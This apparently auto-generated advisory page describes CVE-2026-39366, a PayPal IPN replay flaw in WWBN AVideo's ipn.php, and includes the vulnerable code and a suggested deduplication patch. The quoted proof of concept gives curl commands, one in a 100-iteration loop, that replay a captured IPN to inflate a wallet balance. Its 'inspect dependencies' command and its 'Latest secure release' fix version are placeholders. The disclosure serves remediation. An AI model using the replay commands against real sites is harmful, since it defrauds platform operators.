CVE-2026-39366: Wwbn/avideo WWBN AVideo Affected By A Vulnerability

MODERATE
Advisory Identifier: GHSA-mmw7-wq3c-wf9p
CVSS 6.5
CWE-345
Published
Advisory Summary

CVE-2026-39366 is a MODERATE (CVSS 6.5) wwbn avideo affected by a vulnerability (CWE-345: Insufficient Verification of Data Authenticity) affecting Wwbn/avideo libraries in the Packagist ecosystem. The issue involves wwbn avideo affected by a paypal ipn replay attack enabling wallet balance inflation via missing transaction deduplication in ipn.php. Remediation is available in the latest vendor maintenance releases.

CVE-2026-39366 at a Glance

CVE Identifier CVE-2026-39366
GHSA Identifier GHSA-mmw7-wq3c-wf9p
Severity MODERATE
CVSS v3.1 Base Score 6.5
CWE Classification CWE-345: Insufficient Verification of Data Authenticity
Affected Product Wwbn/avideo
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 6.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-39366

To remediate this vulnerability, upgrade all affected Wwbn/avideo dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

wwbn/avideo fixed: Latest secure release
Upgrade wwbn/avideo to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for wwbn/avideo

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-39366, inspect your project dependencies for Wwbn/avideo:

inspect dependencies for wwbn/avideo

Analyze the terminal output to locate any version of Wwbn/avideo in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-345: Insufficient Verification of Data Authenticity, where the product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data. In Wwbn/avideo, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The PayPal IPN v1 handler at `plugin/PayPalYPT/ipn.php` lacks transaction deduplication, allowing an attacker to replay a single legitimate IPN notification to repeatedly inflate their wallet balance and renew subscriptions. The newer `ipnV2.php` and `webhook.php` handlers correctly deduplicate via `PayPalYPT_log` entries, but the v1 handler was never updated and remains actively referenced as the `notify_url` for billing plans. ## Details When a recurring payment IPN arrives at `ipn.php`, the handler: 1. Verifies authenticity via `PayPalYPT::IPNcheck()` (line 16), which sends the POST data to PayPal's `cmd=_notify-validate` endpoint. PayPal confirms the data is genuine but this verification is **stateless** — PayPal returns `VERIFIED` for the same authentic data on every submission. 2. Looks up the subscription from `recurring_payment_id` and directly credits the user's wallet (lines 41-53): ```php // plugin/PayPalYPT/ipn.php lines 41-53 $row = Subscription::getFromAgreement($_POST["recurring_payment_id"]); $users_id = $row['users_id']; $payment_amount = empty($_POST['mc_gross']) ? $_POST['amount'] : $_POST['mc_gross']; $payment_currency = empty($_POST['mc_currency']) ? $_POST['currency_code'] : $_POST['mc_currency']; if ($walletObject->currency===$payment_currency) { $plugin->addBalance($users_id, $payment_amount, "Paypal recurrent", json_encode($_POST)); Subscription::renew($users_id, $row['subscriptions_plans_id']); $obj->error = false; } ``` No `txn_id` uniqueness check. No `PayPalYPT_log` entry created. No deduplication of any kind. Compare with the patched handlers: - **`ipnV2.php`** (line 50): `PayPalYPT::isTokenUsed($_GET['token'])` and (line 93): `PayPalYPT::isRecurringPaymentIdUsed($_POST["verify_sign"])`, with `PayPalYPT_log` entries saved on success. - **`webhook.php`** (line 30): `PayPalYPT::isTokenUsed($token)` with `PayPalYPT_log` entry saved on success. The v1 `ipn.php` is still actively configured as `notify_url` in `PayPalYPT.php` at lines 85, 193, and 308: ```php $notify_url = "{$global['webSiteRootURL']}plugin/PayPalYPT/ipn.php"; ``` ## PoC ```bash # Prerequisites: A registered AVideo account with at least one completed PayPal subscription. # Step 1: Complete a legitimate PayPal subscription. # This generates an IPN notification to ipn.php containing your recurring_payment_id. # Step 2: Capture the IPN POST body. This is available from: # - PayPal's IPN History (paypal.com > Settings > IPN History) # - Network interception during the initial subscription flow # Step 3: Replay the captured IPN to inflate wallet balance. # Each replay adds the subscription amount to the attacker's wallet. # Single replay: curl -X POST 'https://target.com/plugin/PayPalYPT/ipn.php' \ -d 'recurring_payment_id=I-XXXXXXXXXX&mc_gross=9.99&mc_currency=USD&payment_status=Completed&txn_type=recurring_payment&verify_sign=REAL_VERIFY_SIGN&payer_email=attacker@example.com' # Bulk replay (100x = 100x the subscription amount added to wallet): for i in $(seq 1 100); do curl -s -X POST 'https://target.com/plugin/PayPalYPT/ipn.php' \ -d 'recurring_payment_id=I-XXXXXXXXXX&mc_gross=9.99&mc_currency=USD&payment_status=Completed&txn_type=recurring_payment&verify_sign=REAL_VERIFY_SIGN&payer_email=attacker@example.com' done # Each request passes IPNcheck() (PayPal confirms the data is authentic), # then addBalance() credits the wallet and Subscription::renew() extends the subscription. ``` ## Impact - **Unlimited wallet balance inflation**: An attacker can replay a single legitimate IPN to add arbitrary multiples of the subscription amount to their wallet balance, enabling free access to all paid content. - **Unlimited subscription renewals**: Each replay also calls `Subscription::renew()`, indefinitely extending subscription access from a single payment. - **Financial loss**: Platform operators lose revenue as attackers obtain paid services without corresponding payments. ## Recommended Fix Add deduplication to `ipn.php` consistent with the approach already used in `ipnV2.php` and `webhook.php`. Record each processed transaction in `PayPalYPT_log` and check before processing: ```php // plugin/PayPalYPT/ipn.php — replace lines 41-57 with: } else { _error_log("PayPalIPN: recurring_payment_id = {$_POST["recurring_payment_id"]} "); // Deduplication: check if this IPN was already processed $dedup_key = !empty($_POST['txn_id']) ? $_POST['txn_id'] : $_POST['verify_sign']; if (PayPalYPT::isRecurringPaymentIdUsed($dedup_key)) { _error_log("PayPalIPN: already processed, skipping"); die(json_encode($obj)); } $subscription = AVideoPlugin::loadPluginIfEnabled("Subscription"); if (!empty($subscription)) { $row = Subscription::getFromAgreement($_POST["recurring_payment_id"]); _error_log("PayPalIPN: user found from recurring_payment_id (users_id = {$row['users_id']}) "); $users_id = $row['users_id']; $payment_amount = empty($_POST['mc_gross']) ? $_POST['amount'] : $_POST['mc_gross']; $payment_currency = empty($_POST['mc_currency']) ? $_POST['currency_code'] : $_POST['mc_currency']; if ($walletObject->currency===$payment_currency) { // Log the transaction for deduplication $pp = new PayPalYPT_log(0); $pp->setUsers_id($users_id); $pp->setRecurring_payment_id($dedup_key); $pp->setValue($payment_amount); $pp->setJson(['post' => $_POST]); if ($pp->save()) { $plugin->addBalance($users_id, $payment_amount, "Paypal recurrent", json_encode($_POST)); Subscription::renew($users_id, $row['subscriptions_plans_id']); $obj->error = false; } } else { _error_log("PayPalIPN: FAIL currency check $walletObject->currency===$payment_currency "); } } } ``` Additionally, consider migrating the `notify_url` references in `PayPalYPT.php` (lines 85, 193, 308) from `ipn.php` to `ipnV2.php` or `webhook.php`, and eventually deprecating the v1 IPN handler entirely.

CVE-2026-39366 Affected Wwbn/avideo Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
wwbn/avideo
Packagist
≤ 26.0

References

Frequently Asked Questions

What is CVE-2026-39366?
CVE-2026-39366 is a security vulnerability in Wwbn/avideo involving WWBN AVideo Affected by a PayPal IPN Replay Attack Enabling Wallet Balance Inflation via Missing Transaction Deduplication in ipn.php under CWE-345: Insufficient Verification of Data Authenticity.
Which Wwbn/avideo versions are affected?
Affected versions include releases prior to current release patches across affected packages: wwbn/avideo.
What version fixes CVE-2026-39366?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is wwbn/avideo affected?
Yes, wwbn/avideo is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-39366?
CVE-2026-39366 has a CVSS v3.1 base score of 6.5 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N.
What CWE is associated with CVE-2026-39366?
CVE-2026-39366 is classified under CWE-345: Insufficient Verification of Data Authenticity (The product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.).
How can I check Packagist dependencies for CVE-2026-39366?
Run the dependency tree command: 'inspect dependencies for wwbn/avideo'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-mmw7-wq3c-wf9p",
  "modified" : "2026-04-08T00:08:33Z",
  "published" : "2026-04-08T00:08:33Z",
  "aliases" : [ "CVE-2026-39366" ],
  "summary" : "WWBN AVideo Affected by a PayPal IPN Replay Attack Enabling Wallet Balance Inflation via Missing Transaction Deduplication in ipn.php",
  "details" : "## Summary\n\nThe PayPal IPN v1 handler at `plugin/PayPalYPT/ipn.php` lacks transaction deduplication, allowing an attacker to replay a single legitimate IPN notification to repeatedly inflate their wallet balance and renew subscriptions. The newer `ipnV2.php` and `webhook.php` handlers correctly deduplicate via `PayPalYPT_log` entries, but the v1 handler was never updated and remains actively referenced as the `notify_url` for billing plans.\n\n## Details\n\nWhen a recurring payment IPN arrives at `ipn.php`, the handler:\n\n1. Verifies authenticity via `PayPalYPT::IPNcheck()` (line 16), which sends the POST data to PayPal's `cmd=_notify-validate` endpoint. PayPal confirms the data is genuine but this verification is **stateless** — PayPal returns `VERIFIED` for the same authentic data on every submission.\n\n2. Looks up the subscription from `recurring_payment_id` and directly credits the user's wallet (lines 41-53):\n\n```php\n// plugin/PayPalYPT/ipn.php lines 41-53\n$row = Subscription::getFromAgreement($_POST[\"recurring_payment_id\"]);\n$users_id = $row['users_id'];\n$payment_amount = empty($_POST['mc_gross']) ? $_POST['amount'] : $_POST['mc_gross'];\n$payment_currency = empty($_POST['mc_currency']) ? $_POST['currency_code'] : $_POST['mc_currency'];\nif ($walletObject->currency===$payment_currency) {\n    $plugin->addBalance($users_id, $payment_amount, \"Paypal recurrent\", json_encode($_POST));\n    Subscription::renew($users_id, $row['subscriptions_plans_id']);\n    $obj->error = false;\n}\n```\n\nNo `txn_id` uniqueness check. No `PayPalYPT_log` entry created. No deduplication of any kind.\n\nCompare with the patched handlers:\n- **`ipnV2.php`** (line 50): `PayPalYPT::isTokenUsed($_GET['token'])` and (line 93): `PayPalYPT::isRecurringPaymentIdUsed($_POST[\"verify_sign\"])`, with `PayPalYPT_log` entries saved on success.\n- **`webhook.php`** (line 30): `PayPalYPT::isTokenUsed($token)` with `PayPalYPT_log` entry saved on success.\n\nThe v1 `ipn.php` is still actively configured as `notify_url` in `PayPalYPT.php` at lines 85, 193, and 308:\n```php\n$notify_url = \"{$global['webSiteRootURL']}plugin/PayPalYPT/ipn.php\";\n```\n\n## PoC\n\n```bash\n# Prerequisites: A registered AVideo account with at least one completed PayPal subscription.\n\n# Step 1: Complete a legitimate PayPal subscription.\n# This generates an IPN notification to ipn.php containing your recurring_payment_id.\n\n# Step 2: Capture the IPN POST body. This is available from:\n# - PayPal's IPN History (paypal.com > Settings > IPN History)\n# - Network interception during the initial subscription flow\n\n# Step 3: Replay the captured IPN to inflate wallet balance.\n# Each replay adds the subscription amount to the attacker's wallet.\n\n# Single replay:\ncurl -X POST 'https://target.com/plugin/PayPalYPT/ipn.php' \\\n  -d 'recurring_payment_id=I-XXXXXXXXXX&mc_gross=9.99&mc_currency=USD&payment_status=Completed&txn_type=recurring_payment&verify_sign=REAL_VERIFY_SIGN&payer_email=attacker@example.com'\n\n# Bulk replay (100x = 100x the subscription amount added to wallet):\nfor i in $(seq 1 100); do\n  curl -s -X POST 'https://target.com/plugin/PayPalYPT/ipn.php' \\\n    -d 'recurring_payment_id=I-XXXXXXXXXX&mc_gross=9.99&mc_currency=USD&payment_status=Completed&txn_type=recurring_payment&verify_sign=REAL_VERIFY_SIGN&payer_email=attacker@example.com'\ndone\n\n# Each request passes IPNcheck() (PayPal confirms the data is authentic),\n# then addBalance() credits the wallet and Subscription::renew() extends the subscription.\n```\n\n## Impact\n\n- **Unlimited wallet balance inflation**: An attacker can replay a single legitimate IPN to add arbitrary multiples of the subscription amount to their wallet balance, enabling free access to all paid content.\n- **Unlimited subscription renewals**: Each replay also calls `Subscription::renew()`, indefinitely extending subscription access from a single payment.\n- **Financial loss**: Platform operators lose revenue as attackers obtain paid services without corresponding payments.\n\n## Recommended Fix\n\nAdd deduplication to `ipn.php` consistent with the approach already used in `ipnV2.php` and `webhook.php`. Record each processed transaction in `PayPalYPT_log` and check before processing:\n\n```php\n// plugin/PayPalYPT/ipn.php — replace lines 41-57 with:\n} else {\n    _error_log(\"PayPalIPN: recurring_payment_id = {$_POST[\"recurring_payment_id\"]} \");\n\n    // Deduplication: check if this IPN was already processed\n    $dedup_key = !empty($_POST['txn_id']) ? $_POST['txn_id'] : $_POST['verify_sign'];\n    if (PayPalYPT::isRecurringPaymentIdUsed($dedup_key)) {\n        _error_log(\"PayPalIPN: already processed, skipping\");\n        die(json_encode($obj));\n    }\n\n    $subscription = AVideoPlugin::loadPluginIfEnabled(\"Subscription\");\n    if (!empty($subscription)) {\n        $row = Subscription::getFromAgreement($_POST[\"recurring_payment_id\"]);\n        _error_log(\"PayPalIPN: user found from recurring_payment_id (users_id = {$row['users_id']}) \");\n        $users_id = $row['users_id'];\n        $payment_amount = empty($_POST['mc_gross']) ? $_POST['amount'] : $_POST['mc_gross'];\n        $payment_currency = empty($_POST['mc_currency']) ? $_POST['currency_code'] : $_POST['mc_currency'];\n        if ($walletObject->currency===$payment_currency) {\n            // Log the transaction for deduplication\n            $pp = new PayPalYPT_log(0);\n            $pp->setUsers_id($users_id);\n            $pp->setRecurring_payment_id($dedup_key);\n            $pp->setValue($payment_amount);\n            $pp->setJson(['post' => $_POST]);\n            if ($pp->save()) {\n                $plugin->addBalance($users_id, $payment_amount, \"Paypal recurrent\", json_encode($_POST));\n                Subscription::renew($users_id, $row['subscriptions_plans_id']);\n                $obj->error = false;\n            }\n        } else {\n            _error_log(\"PayPalIPN: FAIL currency check $walletObject->currency===$payment_currency \");\n        }\n    }\n}\n```\n\nAdditionally, consider migrating the `notify_url` references in `PayPalYPT.php` (lines 85, 193, 308) from `ipn.php` to `ipnV2.php` or `webhook.php`, and eventually deprecating the v1 IPN handler entirely.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "wwbn/avideo"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "26.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/security/advisories/GHSA-mmw7-wq3c-wf9p"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-39366"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/commit/8f53e9d9c6aaa07d51ace30691981edbbfb5ca1c"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/WWBN/AVideo"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-345" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-08T00:08:33Z",
    "nvd_published_at" : "2026-04-07T20:16:30Z"
  }
}